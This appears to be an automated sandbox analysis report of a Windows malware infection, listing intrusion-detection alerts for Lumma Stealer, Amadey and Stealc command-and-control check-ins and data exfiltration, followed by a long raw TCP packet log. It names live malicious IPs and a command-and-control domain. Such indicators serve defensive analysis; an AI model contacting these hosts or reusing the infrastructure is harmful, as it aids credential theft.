2024-12-09T20:28:25.297021+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49830	104.21.64.1	443	TCP
2024-12-09T20:28:25.297021+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49830	104.21.64.1	443	TCP
2024-12-09T20:28:26.813350+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49832	185.215.113.43	80	TCP
2024-12-09T20:28:26.831191+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49830	104.21.64.1	443	TCP
2024-12-09T20:28:26.831191+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49830	104.21.64.1	443	TCP
2024-12-09T20:28:28.112879+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49839	104.21.64.1	443	TCP
2024-12-09T20:28:28.112879+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49839	104.21.64.1	443	TCP
2024-12-09T20:28:28.283589+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	185.215.113.16	80	TCP
2024-12-09T20:28:35.174610+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49856	185.215.113.43	80	TCP
2024-12-09T20:28:36.659478+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49858	185.215.113.16	80	TCP
2024-12-09T20:28:36.955503+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49857	185.215.113.206	80	TCP
2024-12-09T20:28:41.795921+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49875	104.21.64.1	443	TCP
2024-12-09T20:28:41.795921+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49875	104.21.64.1	443	TCP
2024-12-09T20:28:42.307340+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49876	185.215.113.43	80	TCP
2024-12-09T20:28:42.506556+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49875	104.21.64.1	443	TCP
2024-12-09T20:28:42.506556+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49875	104.21.64.1	443	TCP
2024-12-09T20:28:43.784299+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49882	185.215.113.16	80	TCP
2024-12-09T20:28:44.125180+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49883	104.21.64.1	443	TCP
2024-12-09T20:28:44.125180+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49883	104.21.64.1	443	TCP
2024-12-09T20:28:46.118592+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49883	104.21.64.1	443	TCP
2024-12-09T20:28:46.118592+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49883	104.21.64.1	443	TCP
2024-12-09T20:28:48.250415+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49898	104.21.64.1	443	TCP
2024-12-09T20:28:48.250415+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49898	104.21.64.1	443	TCP
2024-12-09T20:28:52.277411+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49905	185.215.113.43	80	TCP
2024-12-09T20:28:53.837305+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49912	104.21.64.1	443	TCP
2024-12-09T20:28:53.837305+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49912	104.21.64.1	443	TCP
2024-12-09T20:28:54.425995+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49911	185.215.113.206	80	TCP
2024-12-09T20:28:59.343844+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49935	104.21.64.1	443	TCP
2024-12-09T20:28:59.343844+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49935	104.21.64.1	443	TCP
2024-12-09T20:29:04.627536+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49953	104.21.64.1	443	TCP
2024-12-09T20:29:04.627536+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49953	104.21.64.1	443	TCP
2024-12-09T20:29:06.515164+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49953	104.21.64.1	443	TCP
2024-12-09T20:29:09.206266+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49965	104.21.64.1	443	TCP
2024-12-09T20:29:09.206266+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49965	104.21.64.1	443	TCP
2024-12-09T20:29:15.154143+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49984	104.21.64.1	443	TCP
2024-12-09T20:29:15.154143+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49984	104.21.64.1	443	TCP
2024-12-09T20:29:17.743263+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49984	104.21.64.1	443	TCP
2024-12-09T20:29:17.743263+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49984	104.21.64.1	443	TCP
2024-12-09T20:29:18.319621+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49997	104.21.64.1	443	TCP
2024-12-09T20:29:18.319621+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49997	104.21.64.1	443	TCP
2024-12-09T20:29:19.172028+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	50003	104.21.64.1	443	TCP
2024-12-09T20:29:19.172028+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50003	104.21.64.1	443	TCP
2024-12-09T20:29:20.891750+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49997	104.21.64.1	443	TCP
2024-12-09T20:29:21.291651+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50003	104.21.64.1	443	TCP
2024-12-09T20:29:21.291651+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50003	104.21.64.1	443	TCP
2024-12-09T20:29:22.390283+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50010	185.215.113.16	80	TCP
2024-12-09T20:29:24.726132+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	50022	104.21.64.1	443	TCP
2024-12-09T20:29:24.726132+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50022	104.21.64.1	443	TCP
2024-12-09T20:29:27.413006+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50033	185.215.113.206	80	TCP
2024-12-09T20:29:29.079689+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	50043	104.21.64.1	443	TCP
2024-12-09T20:29:29.079689+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50043	104.21.64.1	443	TCP
2024-12-09T20:29:32.824938+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	50057	104.21.64.1	443	TCP
2024-12-09T20:29:32.824938+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50057	104.21.64.1	443	TCP
2024-12-09T20:29:36.764667+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	50070	104.21.64.1	443	TCP
2024-12-09T20:29:36.764667+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50070	104.21.64.1	443	TCP
2024-12-09T20:29:37.505488+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50070	104.21.64.1	443	TCP
2024-12-09T20:29:40.417240+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	50084	104.21.64.1	443	TCP
2024-12-09T20:29:40.417240+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50084	104.21.64.1	443	TCP
2024-12-09T20:29:41.318670+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50084	104.21.64.1	443	TCP
2024-12-09T20:29:41.881271+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	50094	104.21.64.1	443	TCP
2024-12-09T20:29:41.881271+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50094	104.21.64.1	443	TCP
2024-12-09T20:33:51.494133+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50265	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 20:27:03.158562899 CET	49675	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:03.986308098 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:04.106064081 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:04.106163025 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:04.106753111 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:04.226674080 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:05.443106890 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:05.443238974 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:05.446459055 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:05.567373037 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:05.896282911 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:05.896339893 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:05.897516012 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:06.017469883 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.336749077 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.336796999 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.336884975 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:06.336922884 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:06.369513988 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:06.488950968 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.809139967 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.809170961 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.809181929 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.809267998 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:06.809293985 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.809315920 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:06.809331894 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:06.809344053 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.809355021 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.809369087 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:06.809377909 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:06.809415102 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:06.811330080 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:06.995117903 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:07.314501047 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:07.314697981 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:07.336683989 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:07.336724997 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:07.456387043 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:07.456428051 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:07.456439972 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:07.456736088 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:07.456748009 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:07.456868887 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:07.456908941 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:07.456948042 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:08.415451050 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:08.415627003 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:08.854885101 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:08.975120068 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.292248011 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.292273045 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.292319059 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.292350054 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.296365976 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.296418905 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.297148943 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.297184944 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.298074961 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.298132896 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.305871964 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.305929899 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.306090117 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.306138039 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.314169884 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.314223051 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.314757109 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.314814091 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.322701931 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.322724104 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.322751999 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.322777033 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.331155062 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.331209898 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.422736883 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.422801971 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.423264980 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.423310041 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.426943064 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.426997900 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.427836895 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.427885056 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.435220003 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.435290098 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.435663939 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.435712099 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.443679094 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.443742990 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.444108963 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.444159031 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.452014923 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.452060938 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.484539032 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.484674931 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.484683037 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.484723091 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.488759041 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.488854885 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.488883972 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.488914013 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.497272015 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.497421026 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.500041008 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.500117064 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.500277996 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.500318050 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.508256912 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.508333921 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.508368969 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.508398056 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.516694069 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.516762018 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.516788006 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.516824961 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.525141954 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.525223970 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.525293112 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.525326014 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.533493996 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.533576965 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.541544914 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.541650057 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.541676044 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.541704893 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.545653105 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.545732021 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.545831919 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.545878887 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.554166079 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.554249048 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.554255962 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.554295063 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.562733889 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.562766075 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.562819004 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.562848091 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.570815086 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.570930004 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.608484030 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.608582973 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.609009981 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.609056950 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.611807108 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.611865044 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.612509012 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.612586021 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.618072987 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.618086100 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.618136883 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.624391079 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.624464989 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.624789000 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.624835014 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.630871058 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.630980968 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.631056070 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.631130934 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.637078047 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.637157917 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.637202978 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.637253046 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.643418074 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.643474102 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.643606901 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.643649101 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.649838924 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.649935007 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.650024891 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.650101900 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.656225920 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.656295061 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.656704903 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.656758070 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.676038980 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.676162004 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.676203012 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.676296949 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.679229021 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.679289103 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.679414034 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.679461956 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.684803009 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.684860945 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.686821938 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.686882019 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.687048912 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.687098026 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.692595959 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.692678928 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.692960024 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.693034887 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.698451042 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.698543072 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.698641062 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.698714018 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.701793909 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.701847076 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.701957941 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.702029943 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.705184937 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.705240965 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.706029892 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.706118107 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.708523035 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.708578110 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.708920956 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.709002972 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.711952925 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.712011099 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.712039948 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.712109089 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.715291023 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.715349913 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.715631008 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.715684891 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.718702078 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.718780994 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.718811989 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.718862057 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.739068031 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:09.739186049 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:09.739454031 CET	80	49730	185.215.113.206	192.168.2.4
